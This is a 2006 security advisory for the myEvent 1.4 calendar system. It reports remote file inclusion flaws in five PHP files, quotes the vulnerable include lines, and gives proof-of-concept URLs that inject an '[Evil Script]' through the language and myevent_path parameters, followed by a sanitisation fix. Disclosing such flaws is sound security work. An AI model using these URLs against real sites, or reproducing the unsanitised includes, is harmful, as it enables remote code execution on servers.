myEvent14.txt

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myEvent 1.4 Multiple Remote File Include Vulnerabilities  
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Author : Sh3ll  
Date : 2006/08/11  
HomePage : http://www.sh3ll.ir  
Contact : sh3ll[at]sh3ll[dot]ir  
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Affected Software Description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Application : myEvent  
version : 1.4  
Venedor : http://www.mywebland.com  
Class : Remote File Inclusion  
Risk : High  
Summary :   
myEvent Is a Dynamic Calendar Based Events Management System.  
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Vulnerability:  
~~~~~~~~~~~~~  
in admin.php , event.php , initialize.php , myevent.php , viewevent.php We Found   
Vulnerability Script  
----------------------------------------admin.php--------------------------------------  
....  
<?php  
include_once($language);  
?>  
...  
----------------------------------------event.php--------------------------------------  
....  
<?php  
  
include_once $myevent_path."includes/template.php";  
?>  
...  
--------------------------------------initialize.php-----------------------------------  
....  
<?php  
  
include $myevent_path."config.php";  
include $myevent_path.$language;  
include_once $myevent_path."includes/template.php"  
?>  
...  
----------------------------------------myevent.php------------------------------------  
....  
<?php  
include_once $myevent_path."initialize.php";  
?>  
...  
---------------------------------------viewevent.php-----------------------------------  
....  
<?php  
  
include_once $myevent_path."initialize.php";  
?>  
...  
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PoC:  
~~~  
http://www.target.com/[myEvent]/admin.php?language=[Evil Script]  
http://www.target.com/[myEvent]/event.php?myevent_path=[Evil Script]  
http://www.target.com/[myEvent]/initialize.php?myevent_path=[Evil Script]  
http://www.target.com/[myEvent]/myevent.php?myevent_path=[Evil Script]  
http://www.target.com/[myEvent]/viewevent.php?myevent_path=[Evil Script]  
  
Solution:  
~~~~~~~~  
Sanitize Variabel $language in admin.php & Sanitize Variabel $myevent_path in admin.php  
event.php , initialize.php , myevent.php , viewevent.php  
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Note:  
~~~~  
Venedor Contacted, But No Response. So Do a Dirty Patch.  
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Shoutz:  
~~~~~~  
~ Special Greetz To My Best Friend N4sh3n4s & My GF Atena  
~ To All My Friends in Xmors - Aria - Hackerz & Other Iranian Cyber Teams   
`